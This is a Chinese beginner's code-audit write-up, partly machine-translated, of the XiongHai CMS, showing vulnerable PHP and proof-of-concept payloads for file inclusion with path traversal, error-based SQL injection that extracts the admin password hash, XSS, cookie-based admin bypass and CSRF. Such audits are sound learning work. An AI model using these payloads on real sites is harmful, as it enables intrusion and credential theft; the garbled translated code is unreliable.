适合新手代码审计之熊海

周凯旋2022-07-06  33

一.导言

简单了解一下,审计入门,熊海比较适合,因为是简单的cms,适合入门。

二。审计环境

使用小面板创建一个新网站。

三。审计过程

先知道文件目录。

管理-管理后台文件夹CSS-CSS的文件夹文件-页面的文件夹图片-图片的文件夹Inc网站配置文件的文件夹安装-网站安装的文件夹seacmeditor编辑器文件夹模板-模板文件夹上传-上传功能文件夹index . PHP-网站首页

先把网站源代码放到seay里,自动审计。

可以看到,可疑的漏洞还挺多的,然后对照代码检查一下。

文件包含漏洞。

**index.php**

lt?Php//单入口模式error _ reporting(0);//关闭错误显示$ file = add slashes($ _ GET[ # 39;r # 39]);//接收文件名$ action = $ file = = # 39#39;?#39;index # 39:$ file//判断为空或等于index include( # 39;文件/ # 39;。$开拍。#39;。php # 39);//加载相应的文件? gt

获取值r,使用函数addslashes对我们传入的值进行转义,从而防止命令被执行。但是,这显然是不够的,这里对包含漏洞的文件没有限制。您可以在这里直接包含files文件夹中的文件,但也可以遍历目录,将它们包含在根目录中。让我们在文件夹下创建一个新的phpinfo.php。

lt?PHP phpinfo();? gt

有效载荷:?R=phpinfo //在files文件夹中包含phpinfo()。R=../phpinfo //包含根目录的phpinfo()

第二个地方/admin/index.php出于同样的原因也是同样的代码,包含同样的代码。

【关注所有资源后,私信回复“素材”获取】1。网络安全学习路线2。电子书(白帽子)3。大型安防工厂内部视频4。100份src文件5。常见的安全面试问题6。ctf大赛7经典题目解析。完整套件8。应急响应说明。

SQL注入脆弱性

SQL注入一般存在于这里的登录框中。我们直接看后台登录框的源代码**admin/files/login.php**后台注入。

lt?PHP ob _ start();要求 # 39;../Inc/conn . PHP # 39;;$ log in = $ _ POST[ # 39;登录 # 39;];$ user = $ _ POST[ # 39;用户 # 39;];$ password = $ _ POST[ # 39;密码 # 39;];$ checkbox = $ _ POST[ # 39;复选框 # 39;];if($log in lt; gt#34;#34;){ $ query = # 34SELECT * FROM manage WHERE user = # 39;$ user # 39#34;;$result = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());$ users = MySQL _ fetch _ array($ result);如果(!MySQL _ num _ rows($ result)){ echo # 34; lt脚本语言= JavaScript gtalert( # 39;抱歉,用户名或密码错误。#39;);history . back(); lt/Script gt;#34;;退出;} else { $ passwords = $ users[ # 39;密码 # 39;];if(MD5($ password) lt; gt$ passwords){ echo # 34; lt脚本语言= JavaScript gtalert( # 39;抱歉,用户名或密码错误。#39;);history . back(); lt/Script gt;#34;;退出;}? gt

粗略看一下代码:user和password接受我们的POST值,不做任何过滤,直接插入查询语句。首先,查询数据库用户是否存在,如果不存在则报告错误。而且mysql_error()是开放的,可以报告错误注入。如果用户存在,我们将对传入的密码执行md5散列,并将其与数据库中的密码进行比较。如果相等,我们将成功登录。经过一番分析,有错误注入,密码无法登录,因为对密码进行了md5哈希,并与数据库进行了比对。漏洞重现:正常错误注入1 # 39;或者updatexml(1,concat((select concat(0x7e,password) from manage)),0)# 1 # 39;或者updatexml(1,concat((从manage中选择concat(password,0x7e)),0) #

确实可以通过组合两段得到的MD5值,进行MD5爆炸,然后查询user1 # 39或者updatexml(1,concat((select concat(0x7e,user) from manage)),0) #

可以登录了。然后我们在别处查看**/admin/files/softlist**

$ delete = $ _ GET[ # 39;删除 # 39;];if($delete lt; gt#34;#34;){ $ query = # 34从下载中删除,其中id = # 39$ delete # 39#34;;$result = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());回声 # 34; lt脚本 gtalert( # 39;亲爱的,ID是 # 34;。$删除。#34;的内容已成功删除!#39;);location.href = # 39?r =软列表 # 39; lt/script gt;#34;;退出;}

Mysql_error()仍然开启不过滤,注入同上**/admin/files/editlink.php**

$ id = $ _ GET[ # 39;id # 39];$ query = # 34SELECT * FROM链接,其中id = # 39$ id # 39#34;;$resul = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());$ link = MySQL _ fetch _ array($ resul);

类型同上,此处不再赘述。发现这个cms涉及的sql好像都是未经过滤的,可以注入错误。这可能是该cms适合审计小白的原因。我以为这个cms的SQL注入已经结束了。后来看了《大老板》的资料,发现还有另外两个特色,值得一提(审计小白)。

**/files/software.php**前台注入

$ id = add slashes($ _ GET[ # 39;cid # 39]);$ query = # 34SELECT * FROM download WHERE id = # 39;$ id # 39#34;;$resul = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());$ download = MySQL _ fetch _ array($ resul);

这指的是用于过滤的函数addslashes。关于斜线

函数的作用是:返回一个在预定义字符前加了反斜杠的字符串。预定义字符是单引号( # 39;)双引号( # 34;)反斜杠(\)是\)NULL。

官网有这样的评论。

默认情况下,PHP指示magic_quotes_gpc打开,并自动对所有GET、POST和COOKIE数据运行addslashes()。不要对已经被magic_quotes_gpc转义的字符串使用addslashes(),因为这将导致双层转义。在这种情况下,可以使用函数get_magic_quotes_gpc()进行检测。

因为GET here传递值时,addslashes()默认已经在运行,所以再次使用addslashes()不起作用,所以仍然可以执行错误注入。有效载荷:?r = content cid = 1% 20or(update XML(1,concat(0x7e,(select%20version()),0x7e),1))

** /install/index.php **安装过程中存在SQL注入,代码如下

$ query = # 34更新管理集用户= # 39;$ user # 39,密码= # 39;$ password # 39,name = # 39$ user # 39#34;;@mysql_query($query)或者die( # 39;修改错误: # 39;。MySQL _ error());回声 # 34;管理信息已成功写入!#34;;

不过滤,mysql_error()开启,所以还是可以考虑错误注入。参考大老板的文章。第一,重装时删除InstallLock.txt的文件锁,在用户端报错并注入有效载荷;1#39;extractvalue(1,concat(0x7e,(选择@ @版本),0x7e))#

这是CMSSQL注入的末日。

XSS脆弱性

反光XSS

**/files/contact.php**

$ page = add slashes($ _ GET[ # 39;第 # 39;]);//59行<?php echo $page? gt//139行

payload:lt;img src=1 onerror=alert(/xss/)gt;有效负载: ltimg src = 1 on error = alert(/XSS/) gt;

当然,有许多反射XSS,所以我不会在这里列出他们。根上面的基本一样。

存储XSS

* */admin/files/manage info . PHP * *

$save=$_POST[#39;save#39;];$user=$_POST[#39;user#39;];$name=$_POST[#39;name#39;];$password=$_POST[#39;password#39;];$password2=$_POST[#39;password2#39;];$img=$_POST[#39;img#39;];$mail=$_POST[#39;mail#39;];$qq=$_POST[#39;qq#39;];if ($save==1){if ($user==#34;#34;){echo #34;lt;scriptgt;alert(#39;抱歉,帐号不能为空。#39;);history.back()lt;/scriptgt;#34;;exit; }if ($name==#34;#34;){echo #34;lt;scriptgt;alert(#39;抱歉,名称不能为空。#39;);history.back()lt;/scriptgt;#34;;exit; }if ($passwordlt;gt;$password2){echo #34;lt;scriptgt;alert(#39;抱歉,两次密码输入不一致!#39;);history.back()lt;/scriptgt;#34;;exit; }//处理图片上传if(!empty($_FILES[#39;images#39;][#39;tmp_name#39;])){$query = #34;SELECT * FROM imageset#34;;$result = mysql_query($query) or die(#39;SQL语句有误:#39;.mysql_error());$imageset = mysql_fetch_array($result);include #39;../inc/up.class.php#39;;if (empty($;$ save = $ _ POST[ # 39;保存 # 39;];$ user = $ _ POST[ # 39;用户 # 39;];$ name = $ _ POST[ # 39;姓名 # 39;];$ password = $ _ POST[ # 39;密码 # 39;];$ password 2 = $ _ POST[ # 39;密码2 # 39;];$ img = $ _ POST[ # 39;img # 39];$ mail = $ _ POST[ # 39;邮件 # 39;];$ QQ = $ _ POST[ # 39;qq # 39];if($ save = = 1){ if($ user = = # 34;#34;){ echo # 34 lt脚本 gtalert( # 39;对不起,账号不能是空。#39;);history . back() lt;/script gt;#34;;退出;} if($name = = # 34;#34;){ echo # 34 lt脚本 gtalert( # 39;不好意思,名字不能空。#39;);history . back() lt;/script gt;#34;;退出;} if($password lt; gt$ password 2){ echo # 34; lt脚本 gtalert( # 39;抱歉,两个密码不匹配!#39;);history . back() lt;/script gt;#34;;退出;}//处理图片上传如果(!空($ _文件[ # 39;图片 # 39;][#39;tmp _ name # 39])){ $ query = # 34;SELECT * FROM imageset # 34;$result = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());$ imageset = MySQL _ fetch _ array($ result);包括 # 39;../Inc/up . class . PHP # 39;;if(空($;

POST传参,但是无任何过滤,直接根数据库进行交互,存在存储型XSSpayload:lt;img src=1 onerror=alert(/xss/)gt;POST通过,但是没有过滤。它直接与根数据库交互,并且有一个存储XSS负载:

纵向越权

**inc/checklogin.php**

lt?PHP $ user = $ _ COOKIE[ # 39;用户 # 39;];if($ user = = # 34;#34;){ header( # 34;地点:?r =登录 # 34;);退出;}? gt

如果COOKIE中的用户是空,跳转到登录窗口。这是最简单的垂直越权。

我们获取参数。

当我们修改COOKIE值时

如果超越权限,我们就成功了,可以进入管理页面。

CSRF脆弱性

示例/admin/files/wzlist.php

$ delete = $ _ GET[ # 39;删除 # 39;];if($delete lt; gt#34;#34;){ $ query = # 34从id = # 39的内容中删除;$ delete # 39#34;;$result = mysql_query($query)或die( # 39;SQL语句中的错误: # 39;。MySQL _ error());回声 # 34; lt脚本 gtalert( # 39;亲爱的,ID是 # 34;。$删除。#34;的内容已成功删除!#39;);location.href = # 39?r = wzlist # 39 lt/script gt;#34;;退出;

如你所见,没有验证,然后我们将执行删除操作。

然后抓起包看看。

它的有效载荷

可以发现,CSRF的进攻是成功的。

* * admin/files/soft list . PHP * * CSRF仍然存在。做法同上。

四。摘要

至此,这个cms的审核也差不多结束了。总的来说,因为这个cms是个人开发的,很久没有更新了,所以在审计的时候,基本上所有的漏洞都没有被过滤掉。可能这就是适合我这种小白的原因吧。

转载请注明原文地址:https://juke.outofmemory.cn/read/617785.html

最新回复(0)